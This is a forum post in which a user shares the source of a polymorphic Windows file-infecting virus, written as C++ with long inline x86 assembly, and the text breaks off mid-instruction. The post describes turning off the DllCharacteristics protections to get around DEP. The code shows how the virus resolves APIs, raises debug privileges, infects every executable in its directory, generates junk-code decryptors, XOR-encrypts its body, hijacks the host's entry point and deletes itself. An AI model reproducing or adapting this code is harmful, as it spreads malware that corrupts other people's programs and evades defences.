JMC31337 Posted February 22, 2021 Posted February 22, 2021 This is a polymorphic (insofar as about 100 bytes of do nothing code is inserted into its decoding routine,) that has a hard coded XOR (easily rotated per infection if ya know what you're doing) Ill be writing up a white paper explaining the abusing of the DllCharacteristics value in the exe PE header - Teddy wrote a lil dissertation on this forum way back Basically once the entry point is changed and the infected host is set to DllChars = 0 the entry point is within a RW section of memory (last section) but DEP wont kick in allowing RWX all across the user space memory (tested on win version Win10 Pro v 1909 build 18363.592) Also since DLL Chars is set to 00 this forces a mem base of 0x10000 for all 32 bit exe From there we play... THIS WILL SELF DELETE, INFECT ANY EXE IN THE EXECUTING DIRECTORY AN INFECTED EXE WILL THEN SELF DELETE AFTER TRYING TO INFECT ANOTHER EXE and so on THE POLYMORPHIC DECODING TAKES PLACE IMMEDIATELY and you can watch it by debugging an infected file THIS USES CODE CAVE INJECTION, TOKEN ALL ACCESS, OPEN PROCESS ALL ACCESS see yall when the white paper is finished #include <Windows.h> #include <iostream> int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { MessageBox(0, 0, 0, 0); _asm { start: nop nop pushad push 0xffffffff //lil stack marker sub esp, 0x200 mov ebp, esp mov eax, fs: [0xC0] //* add eax, 0x10000 mov ax, 0x0 //walk the dog find the LdrLoadDll //and LdrGetProcAddress API locations mov ebp, esp mov[ebp], eax mov edx, [eax + 0x3c] add edx, [ebp] mov edx, [edx + 0x78] add edx, eax mov eax, edx mov edx, [edx + 0x24] add edx, [ebp] mov[ebp + 0x04], edx mov edx, [eax + 0x20] add edx, [ebp] mov[ebp + 0x08], edx mov edx, [eax + 0x1c] add edx, [ebp] mov[ebp + 0x0c], edx mov edx, [eax + 0x14] push ebx mov ebx, edx xor eax, eax loopnames : mov edi, [ebp + 0x08] mov edi, [edi + eax * 4] add edi, [ebp] inc eax cmp dword ptr[edi], 0x4772644c jne loopnames cmp dword ptr[edi + 4], 0x72507465 jne loopnames push eax dec eax mov ecx, [ebp + 0x04] mov edx, [ebp + 0x0c] mov ax, [ecx + eax * 2] mov eax, [edx + eax * 4] add eax, [ebp] mov[ebp + 0x10], eax //LdrGetProc pop eax loopnames2 : inc eax mov edi, [ebp + 0x08] mov edi, [edi + eax * 4] add edi, [ebp] cmp dword ptr[edi], 0x4c72644c jne loopnames2 cmp dword ptr[edi + 4], 0x4464616f jne loopnames2 mov ax, [ecx + eax * 2] mov eax, [edx + eax * 4] add eax, [ebp] mov[ebp + 0x14], eax //ldrdll mov esi, eax mov edi, [ebp + 0x10] //esi = LdrGetProcedureAddress //edi = LdrLoadDll push 0x0 push 0x00320033 push 0x006c0065 push 0x006e0072 push 0x0065006b lea eax, [esp] push eax push 0x00120010 push 0x0 lea eax, [esp] push eax lea eax, [esp + 0x08] push eax push 0x0 push 0x0 call esi pop dword ptr[ebp + 0x18] //k32base add esp, 0x1c push 0x00004165 push 0x6c694674 push 0x73726946 push 0x646e6946 push esp push 0x000c000e lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x1c] //FindFirstFile add esp, 0x18 push 0x00000041 push 0x656c6946 push 0x7478654e push 0x646e6946 push esp push 0x000d000f lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x20] //FindNextFile add esp, 0x18 push 0x00636f6c push 0x6c416c61 push 0x626f6c47 push esp push 0x000b000d lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x24] //GlobalAlloc add esp, 0x14 push 0x0 push 0x656c6946 push 0x64616552 push esp push 0x0008000a lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x28] //ReadFile add esp, 0x14 push 0x00000065 push 0x6c694665 push 0x74697257 push esp push 0x00070009 lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x2c] //WriteFile add esp, 0x14 push 0x00656c64 push 0x6e614865 push 0x736f6c43 push esp push 0x000c000e lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x30] //CloseHandle add esp, 0x14 push 0x0041656c push 0x69466574 push 0x61657243 push esp push 0x000a000c lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x18] call edi pop dword ptr[ebp + 0x34] //CreateFile add esp, 0x14 push 0x00000000 push 0x006c006c push 0x0064002e push 0x00320033 push 0x00720065 push 0x00730075 push esp push 0x00160014 mov ecx, esp push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 mov[esp + 0x08], ecx mov ecx, ebp sub ecx, 0x28 mov[esp + 0x0c], ecx call esi pop dword ptr[ebp + 0x38] //user32base add esp, 0x20 push 0x00000000 push 0x0041786f push 0x42656761 push 0x7373654d push esp push 0x000b000d lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x38] call edi pop dword ptr[ebp + 0x3c] //MessageBoxA add esp, 0x18 push 0x00000000 push 0x0000006c push 0x006c0064 push 0x002e0032 push 0x0033006c push 0x006c0065 push 0x00680073 push esp push 0x00180016 mov ecx, esp push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 mov[esp + 0x08], ecx mov ecx, ebp sub ecx, 0x2c mov[esp + 0x0c], ecx call esi pop dword ptr[ebp + 0x40] //shell32base add esp, 0x24 push 0x00000000 push 0x0000006e push 0x696d6441 push 0x6e417265 push 0x73557349 push esp push 0x00100012 lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x40] call edi pop dword ptr[ebp + 0x44] //IsUserAnAdmin add esp, 0x1c push 0x00000000 push 0x006c006c push 0x0064002e push 0x0070006c push 0x00680065 push 0x00670061 push 0x006d0069 push esp push 0x00200018 mov ecx, esp push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 push 0x00000000 mov[esp + 0x08], ecx mov ecx, ebp sub ecx, 0x2c mov[esp + 0x0c], ecx call esi pop dword ptr[ebp + 0x48] //imghelpbase add esp, 0x24 push 0x00000000 push 0x00416d75 push 0x536b6365 push 0x6843646e push 0x41656c69 push 0x4670614d push esp push 0x00140016 lea edx, [esp] push 0x0 push esp push 0x0 push edx push[ebp + 0x48] call edi pop dword ptr[ebp + 0x4c] //MapFileAndCheckSumA add esp, 0x20 push 0x00000000 push 0x00737365 push 0x636f7250 push 0x6e65704f push esp push 0x000c000e lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x50] //OpenProcess add esp, 0x1c push 0x00000000 push 0x00007373 push 0x65636f72 push 0x50343677 push 0x6f577349 push esp push 0x000e0010 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x54] //IsWow64Process add esp, 0x1c push 0x00000000 push 0x746f6873 push 0x70616e53 push 0x3233706c push 0x65686c6f push 0x6f546574 push 0x61657243 push esp push 0x0018001a lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x58] //CreateToolhelp32Snapshot add esp, 0x24 push 0x00000000 push 0x00007473 push 0x72694632 push 0x33737365 push 0x636f7250 push esp push 0x000e0010 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x5c] //Process32First add esp, 0x1c push 0x00000000 push 0x00000074 push 0x78654e32 push 0x33737365 push 0x636f7250 push esp push 0x000d000f lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x60] //Process32Next add esp, 0x1c push 0x00000000 push 0x00000079 push 0x726f6d65 push 0x4d6f7265 push 0x5a6c7452 push esp push 0x000d000f lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x64] //ZeroMemory add esp, 0x1c push 0x00000000 push 0x0000006f push 0x666e496d push 0x65747379 push 0x53746547 push esp push 0x000d000f lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x68] //GetSystemInfo add esp, 0x1c push 0x00000000 push 0x00007845 push 0x79726575 push 0x516c6175 push 0x74726956 push esp push 0x000e0010 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x6c] //VirtualQueryEx add esp, 0x1c push 0x00000000 push 0x00007972 push 0x6f6d654d push 0x73736563 push 0x6f725065 push 0x74697257 push esp push 0x00120014 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x200] //WriteProcessMemory add esp, 0x20 push 0x00000000 push 0x00006461 push 0x65726854 push 0x65746f6d push 0x65526574 push 0x61657243 push esp push 0x00120014 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x70] //CreateRemoteThread add esp, 0x20 push 0x00000000 push 0x00004165 push 0x6d614e65 push 0x6c694665 push 0x6c75646f push 0x4d746547 push esp push 0x00120014 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x74] //GetModuleFileName add esp, 0x20 push 0x00000000 push 0x0041656c push 0x69466574 push 0x656c6544 push esp push 0x000b000d lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x78] //DeleteFileA add esp, 0x18 push 0x0 push 0x006c006c push 0x0064002e push 0x00320033 push 0x00690070 push 0x00610076 push 0x00640061 lea eax, [esp] push eax push 0x001a0018 push 0x0 lea eax, [esp] push eax lea eax, [esp + 0x08] push eax push 0x0 push 0x0 call esi pop dword ptr[ebp + 0x7c] //advapi32 base add esp, 0x20 push 0x00000000 push 0x6e656b6f push 0x54737365 push 0x636f7250 push 0x6e65704f push esp push 0x00100012 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x7c] //advapi32 base call edi pop dword ptr[ebp + 0x80] //OpenProcessToken add esp, 0x20 push 0x00000000 push 0x00000041 push 0x65756c61 push 0x56656765 push 0x6c697669 push 0x72507075 push 0x6b6f6f4c push esp push 0x00150017 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x7c] //advapi32 base call edi pop dword ptr[ebp + 0x84] //LookupPrivilegeValueA add esp, 0x24 push 0x00000000 push 0x00000073 push 0x6567656c push 0x69766972 push 0x506e656b push 0x6f547473 push 0x756a6441 push esp push 0x00150017 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x7c] //advapi32 base call edi pop dword ptr[ebp + 0x88] //AdjustTokenPrivileges add esp, 0x24 push 0x00000000 push 0x00000073 push 0x7365636f push 0x7250746e push 0x65727275 push 0x43746547 push esp push 0x00120014 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop dword ptr[ebp + 0x8c] //GetCurrentProcess add esp, 0x20 //shouldve got this API way earlier push 0x00000000 push 0x00000079 push 0x726f6d65 push 0x4d737365 push 0x636f7250 push 0x64616552 push esp push 0x00120014 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base mov ebx, edx //save our openproc mem baseaddr for thru this api call call edi pop dword ptr[ebp + 0x90] //ReadProcessMemory API add esp, 0x20 //====================================== //Begin AdjustPrivs SE_DEBUG_NAME //OpenProcess //GetCurrentProcess //LookupPrivilegeValue //AdjustTokenPrivileges call dword ptr[ebp + 0x8c] //GetCurrProc 0xFFFFFFFF mov ecx, esp add ecx, 0x94 push ecx push 0x000F01FF //TOKEN_ALL_ACCESS push eax call dword ptr[ebp + 0x80] //OpenProcessToken //ebp+94 = handle to token push 0x00000000 push 0x6567656c push 0x69766972 push 0x50677562 push 0x65446553 //push esp mov ecx, esp mov edx, esp add edx, 0xac push edx push ecx push 0x00000000 call dword ptr[ebp + 0x84] add esp, 0x10 //HMMMMMMMMMMMMMMMMMM............why not ebp this time.... //ebp + 0x98 = tp.Privileges[0].Luid info mov edx, ebp add edx, 0x98 //****?? mov dword ptr[edx], 0x01 mov eax, 0x0c imul ecx, eax, 0 mov dword ptr[edx + ecx + 0x0c], 0x02 push 0x00000000 push 0x00000000 push 0x10 push edx push dword ptr[ebp + 0x94] call dword ptr[ebp + 0x88] //AdjustTokenPrivileges //======================================================================================================= //======================================================================================================= //esp sits at ebp at this point //error checking is non existent //BEGIN PARASITE WORK //eax ebx ecx edx //populate the current executing directory for files //start data storage at ebp+0x98 (self delete routine will overwrite the data starting at ebp+0x98) sub esp, 0x140 //mindful some these api do //weird stack writing //approx < 120 stack space and ebp spots start //getting overwritten mov eax, esp push 0x00000000 push 0x00000065 push 0x78652e2a mov edx, esp push eax push edx call dword ptr[ebp + 0x1c] //FindFirstFile //find first .exe file //see if we have Read/Write privs to the found exe file //_access API wouldve been better than CreateFile's crude return check sub esp, 0x08 mov[esp], eax mov edx, [esp + 0x04] add edx, 0x2c //edx -> exe name fileRW: push 0x0 push 0x80 push 0x3 push 0x0 push 0x0 push 0xC0000000 push edx call dword ptr[ebp + 0x34] //CreateFile cmp eax, 0xFFFFFFFF //check CreateFile return error code je findnext //if return FFFFFFFF we dont have file RW privs jmp fileopen findnext : call dword ptr[ebp + 0x20] //FindNextFile sub esp, 0x08 cmp eax, 0x00 je finddone mov edx, [esp + 0x04] add edx, 0x2c //edx -> exe name jmp fileRW //IF WE ARE HERE WE HAVE RW PRIVS ACCESS TO A FILE fileopen: mov edx, [esp + 0x04] cmp dword ptr[edx + 0x1C], 0x00 //is this > 4gig exe? jne closenext //not 00 indicates 64 length nop nop nop nop mov[ebp - 0x04], eax //ebp-0x04 handle to host file globalmem: mov ecx, [edx + 0x20] //ecx = host file size add ecx, 0x2000 //add a few more bytes to allocated size to accomodate //size increase due to parasitic code additions push ecx push 0x00 call dword ptr[ebp + 0x24] //GlobalAlloc //eax=globloc push eax //globloc mem addr see below pop eax w/ comments push 0x00000000 mov edx, esp push 0x0000000 push edx mov edx, [esp + 0x14] //only from prior globalloc call mov edx, [edx + 0x20] push edx push eax push[ebp - 0x04] //waayy down below handle call dword ptr[ebp + 0x28] //ReadFile //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //Host file has been read into globalloc memory //for parasitic manipulations //[esp] = host file size //[esp+0x04] = globloc containing host file in memory //eax ecx ebx edx all avail at this point nop //int 3 nop push 0x00000000 push 0x00007265 push 0x746e696f push 0x50656c69 push 0x46746553 push esp push 0x00100012 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base mov ebx, edx //save our openproc mem baseaddr for thru this api call call edi pop eax //for now eax holds the API to SetFilePointer add esp, 0x1c push 0x00 push 0x00 push 0x00 push[ebp - 0x04] call eax //do checks of the host exe to determine //if it meets criteria for x86 infection mov edx, [esp + 0x04] mov ecx, [edx + 0x3c] //MZ's PE header -> add ecx, edx //ecx == PE cmp word ptr[ecx + 0x04], 0x014c //is it x86?? jne freemem cmp word ptr[ecx + 0x18], 0x010b //NT32 magic?? jne freemem cmp dword ptr[ecx + 0xF8], 0x5258562E //first section name start with .VXR? //if so its infected or it just got lucky :) je freemem //mem loadded host file seems good mov dword ptr[ecx + 0xF8], 0x5258562E //mark host file first section name .VXR (infected) mov dword ptr[ecx + 0x5E], 0x00 //mark host file DLLCharacteristics to 00 //serves a few purposes: //1) no relocations makes the entry point direct hit // and the below points stem from some MCSFT WoW mem issue //2) globalalloc'd (API) mem in a program that is a type DllChars 00 // program is mapped as RW but allows RWE privs (tested Win10 Pro 1909) //3) setting the entry point to a READ ONLY section will bypass // DEP and allow normal virus code flow HOWEVER, trying to jmp // or call into a R-only section DEP will stop you (so from an // entry point view its nice) mov ecx, edx add ecx, [esp] //or xor ecx = end of last section //find image base and increase by 0x1000 mov eax, [esp + 0x04] mov eax, [eax + 0x3c] mov ebx, [esp + 0x04] add eax, ebx mov ebx, eax add eax, 0x50 add dword ptr[eax], 0x2000 //increase IS mov eax, ebx add eax, 0xF8 find_lastsection: add eax, 0x28 cmp[eax], 0x00 jne find_lastsection sub eax, 0x28 mov ebx, [eax + 0x0c] mov[esp + 0x20], ebx mov ebx, [eax + 0x10] mov[esp + 0x24], ebx mov ebx, [esp + 0x04] mov ebx, [ebx + 0x3c] add ebx, [esp + 0x04] mov ebx, [ebx + 0x34] //IB mov[esp + 0x2c], ebx add dword ptr[eax + 0x08], 0x2000 //increase RS add dword ptr[eax + 0x10], 0x2000 //increase VS mov dword ptr[eax + 0x24], 0xc0000040 //RW mov ebx, [eax + 0x0c] //ebx = VA add ebx, [eax + 0x10] // ebx = VA + RS sub ebx, 0x2000 // Va + RS - 0x1000 (extra we added prior) mov[esp + 0x28], ebx //find entry point of virus call get_eip get_eip : pop eax //lets do a noob read back dword method //now that we have our own prog space address loc mov ebx, eax readback : sub eax, 0x01 cmp dword ptr[eax], 0x81ff6a60 //virus uses two locations of opcode in its own code, //so cheaply, slowly, we go until they are found jne readback push eax //eax = begin of parasite xor eax, eax add ebx, 0x20 add eax, 0x600 readahead: //int 3 inc eax //cmp dword ptr[ebx+eax],0xFFFFFFFF cmp dword ptr[ebx + eax], 0xbb615800 jne readahead add eax, ebx add eax, 0x08 //eax=end of parasite push eax //[esp+0x04]=vir end //[esp+0x08]=vir start xor eax, eax xor ebx, ebx //begin parasitic copy into host mov eax, [esp] sub eax, [esp + 0x04] push eax //[esp]=virsize xor ebx, ebx //========================================= //POLYMORPH nop //int 3 nop pushad xor esi, esi //use esi as counter for determining when to embed //the poly crypto loader code mov edi, 0x10000 call rand_loop mov byte ptr[edi + ebx], 0xbe inc ebx mov dword ptr[edi + ebx], 0x10000 //*** add ebx, 0x04 call rand_loop mov byte ptr[edi + ebx], 0xbf inc ebx mov dword ptr[edi + ebx], 0x10000 //*** add ebx, 0x04 call rand_loop mov byte ptr[edi + ebx], 0xb9 inc ebx mov dword ptr[edi + ebx], 0x10000 //*** lea eax, [edi + ebx] //*** mov[esp - 0x08], eax //*** add ebx, 0x04 call rand_loop mov byte ptr[edi + ebx], 0xac lea eax, [edi + ebx] mov[esp + 0x10], eax //for our lodw polymorph loc inc ebx call rand_loop mov dword ptr[edi + ebx], 0x9054F083 add ebx, 0x04 call rand_loop mov dword ptr[edi + ebx], 0x90aa add ebx, 0x02 call rand_loop mov dword ptr[edi + ebx], 0xe2 inc ebx mov eax, [esp + 0x10] //should be where we need to jmp sub eax, 0x10000 sub eax, ebx dec eax mov dword ptr[edi + ebx], eax inc ebx jmp poly_ret //!!!!!SIGN FLAG???? rand_loop : mov ecx, 0x02aaaac mul ecx add eax, 0x07ffffff adc edx, 0 mov ecx, 0x08000001 div ecx mov ecx, 0x7FFE0008 mov ecx, dword ptr[ecx] mul ecx add eax, [esp + 0x4c] //================ //================ //POLYCHECK cmp ebx, 0xfa ja poly_ret //................. cmp ah, 0xa0 je rand_ret cmp ah, 0xb0 je rand_ret cmp ah, 0xc0 je rand_ret cmp ah, 0xd0 je rand_ret cmp ah, 0xe0 je rand_ret cmp ah, 0xf0 je rand_ret cmp ah, 0x03 je addrr cmp ah, 0x05 je addrx cmp ah, 0x90 je nopx cmp ah, 0xf5 je cmcx cmp ah, 0xf8 je clcx cmp ah, 0xf9 je stcx cmp ah, 0x2d je subrx cmp ah, 0x3d je cmprx cmp ah, 0x81 je addsubcmprx cmp ah, 0x83 je addsubcmprx2 cmp ah, 0x85 je testrr1 cmp ah, 0xa9 je testrr2 cmp ah, 0x2b je subrr1 cmp ah, 0x3b je cmprr1 cmp ah, 0xf7 je testrx1 cmp ah, 0x50 jae push1 cmp ah, 0x48 jae dec1 cmp ah, 0x40 jae inc1 jmp rand_loop //***************** //***************** addrr: cmp al, 0xc0 jb rand_loop cmp al, 0xff jbe addrr1 jmp rand_loop addsubcmprx : cmp al, 0xc4 je rand_loop cmp al, 0xec je rand_loop cmp al, 0xc1 jb rand_loop cmp al, 0xc7 jbe addrx1 cmp al, 0xe9 jb rand_loop cmp al, 0xef jbe subrx1 cmp al, 0xf9 jb rand_loop cmp al, 0xff jbe cmprx1 jmp rand_loop addrx : jmp addrx2 subrx : jmp subrx2 cmprx : jmp cmprx2 nopx : jmp nopp cmcx : jmp cmcc clcx : jmp clcc stcx : jmp stcc addsubcmprx2 : cmp al, 0xec je rand_loop cmp al, 0xc4 je rand_loop cmp dl, 0x7f ja rand_loop cmp al, 0xc0 jb rand_loop cmp al, 0xc7 jbe addrxx cmp al, 0xe8 jb rand_loop cmp al, 0xef jbe subrxx cmp al, 0xf8 jb rand_loop cmp al, 0xff jbe cmprxx jmp rand_loop testrr1 : cmp al, 0xc0 jb rand_loop cmp al, 0xff jbe testrr jmp rand_loop testrr2 : jmp testrr3 subrr1 : cmp al, 0xc0 jb rand_loop cmp al, 0xff jbe subrr jmp rand_loop cmprr1 : cmp al, 0xc0 jb rand_loop cmp al, 0xff jbe cmprr jmp rand_loop testrx1 : cmp al, 0xc1 jb rand_loop cmp al, 0xc7 jbe testrx jmp rand_loop push1 : cmp ah, 0x57 jbe pushh jmp rand_loop dec1 : cmp ah, 0x4f jbe decc jmp rand_loop inc1: cmp ah, 0x47 jbe incc jmp rand_loop //----------------- //***************** //----------------- addrr1: xchg ah, al mov[edi + ebx], ax add ebx, 0x02 add eax, 0x28 mov[edi + ebx], ax add ebx, 0x02 jmp rand_loop addrx1 : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 add eax, 0x2800 mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop subrx1 : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 sub eax, 0x2800 mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop cmprx1 : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop addrx2 : xchg ah, al mov[edi + ebx], al inc ebx mov[edi + ebx], edx add ebx, 0x04 add al, 0x28 mov[edi + ebx], al inc ebx mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop subrx2 : xchg ah, al mov[edi + ebx], al inc ebx mov[edi + ebx], edx add ebx, 0x04 sub al, 0x28 mov[edi + ebx], al inc ebx mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop cmprx2 : xchg ah, al mov[edi + ebx], al inc ebx mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop nopp : xchg ah, al mov[edi + ebx], al inc ebx jmp rand_loop cmcc : xchg ah, al mov[edi + ebx], al inc ebx jmp rand_loop clcc : xchg ah, al mov[edi + ebx], al inc ebx jmp rand_loop stcc : xchg ah, al mov[edi + ebx], al inc ebx jmp rand_loop addrxx : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], dl inc ebx add ah, 0x28 mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], dl inc ebx jmp rand_loop subrxx : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], dl inc ebx sub ah, 0x28 mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], dl inc ebx jmp rand_loop cmprxx : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], dl inc ebx jmp rand_loop testrr : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 jmp rand_loop testrr3 : xchg al, ah mov[edi + ebx], ax inc ebx mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop subrr : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 sub al, 0x28 mov[edi + ebx], ax add ebx, 0x02 jmp rand_loop cmprr : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 jmp rand_loop testrx : xchg ah, al mov[edi + ebx], ax add ebx, 0x02 mov[edi + ebx], edx add ebx, 0x04 jmp rand_loop pushh : mov[edi + ebx], ah inc ebx add ah, 0x08 mov[edi + ebx], ah inc ebx jmp rand_loop decc : //cmp [edi+ebx-0x02],ah mov[edi + ebx], ah inc ebx sub ah, 0x08 mov[edi + ebx], ah inc ebx jmp rand_loop incc : mov[edi + ebx], ah inc ebx add ah, 0x08 mov[edi + ebx], ah inc ebx jmp rand_loop rand_ret : ret poly_ret: mov[esp - 0x04], ebx popad nop //int 3 //!!!! FIX THE CRYPTO PORTION //TEST THE POLY OPCODE DWORD ALIGNMENT //OF INFECTED HOST nop //COPY POLYMORPHIC CRYPTO STAGER //ecx = start of where to place poly. para. into host //edx free xor ebx, ebx mov[esp + 0x24], edx //preserve the edx reg without messin' round polycopy : mov edx, 0x10000 mov edx, [edx + ebx] mov[ecx + ebx], edx add ebx, 0x04 cmp ebx, [esp - 0x24] jb polycopy //add ecx,ebx add ecx, [esp - 0x24] xor ebx, ebx mov edx, [esp + 0x24] //restore the edx //========================================= vircopy: mov eax, [esp + 0x08] add eax, ebx mov eax, [eax] mov[ecx + ebx], eax add ebx, 0x04 cmp ebx, [esp] jbe vircopy //fix the polymorph head xor eax, eax phfix1 : dec eax cmp dword ptr[ecx + eax], 0x10000 jne phfix1 mov ebx, [esp] add ebx, [esp - 0x24] mov[ecx + eax], ebx //should take care of polymorph's loop counter //***********************************!!!!!!!!!!!!!!!! //redo the virtual addressing nop //int 3 nop phfix2 : dec eax cmp dword ptr[ecx + eax], 0x10000 jne phfix2 //mov [ecx+eax],ecx mov ebx, [esp + 0x2c] add ebx, [esp + 0x30] add ebx, [esp - 0x24] add ebx, [esp + 0x38] mov[ecx + eax], ebx phfix3 : dec eax cmp dword ptr[ecx + eax], 0x10000 jne phfix3 //mov [ecx+eax],ecx mov[ecx + eax], ebx mov[esp - 0x04], ecx add[esp], 0x04 //final jump return to host manip nop //int 3 nop mov ebx, [esp] add ebx, 0x02 mov eax, ecx add eax, ebx sub eax, 0x04 xchg eax, ecx //eax ebx edx free [esp+0x10] = MZ of host mov eax, [edx + 0x3c] add eax, [esp + 0x10] mov edx, [eax + 0x34] mov ebx, [eax + 0x28] add edx, ebx dec ecx dec ecx mov[ecx], edx //set the parasite to jump to the host's entry point //set within the parasite of the infected host mov word ptr[ecx + 0x04], 0xe3ff mov ecx, [esp + 0xC] add ecx, 0x2000 //set the entry point of the host exe to point to start of parasite mov edx, [esp + 0x34] //edx = new ep mov[eax + 0x28], edx //eax ebx edx free xor ebx, ebx dec ebx mov edx, [esp - 0x04] vircrypt: inc ebx xor eax, eax mov al, byte ptr[edx + ebx] xor al, 0x54 mov byte ptr[edx + ebx], al cmp ebx, [esp] jb vircrypt nop //int 3 nop mov ebx, [esp + 0x10] push 0x00000000 mov eax, esp push 0x000000 push eax push ecx push ebx push[ebp - 0x04] call dword ptr[ebp + 0x2c] //Writefile mov ebx, 0x1 nop nop //==================================================================================== //detect whether its the germ or already in a host //FIX THIS IN ORDER TO KEEP THE INFECTED EXE's from DELETING THEMSELVES //I JUST GOT TIRED OF WRITING THIS IN ASM nop nop //int 3 nop nop call get_eip2 //****DEBUG FROM INFECTED HOST get_eip2 : pop eax add eax, 0x20 xor ecx, ecx hosteip : inc eax cmp dword ptr[eax + ecx], 0xbb615800 jne hosteip mov eax, [eax + 0x04] cmp eax, 0xFFFFFFFF je go_germ go_host : add esp, 0x16c jmp grand_exit go_germ : cmp ebx, 0x01 je go_germ2 add esp, 0x154 jmp self_delete go_germ2 : add esp, 0x16c jmp self_delete //==================================================================================== freemem: push 0x00000000 push 0x00006565 push 0x72466c61 push 0x626f6c47 push esp push 0x00100012 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base call edi pop eax //GlobalFree add esp, 0x18 push dword ptr[esp + 0x04] call eax add esp, 0x08 jmp closenext //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! setfilepointer: push 0x00000000 push 0x00007265 push 0x746e696f push 0x50656c69 push 0x46746553 push esp push 0x00100012 lea ebx, [esp] push 0x0 push esp push 0x0 push ebx push[ebp + 0x18] //k32 base mov ebx, 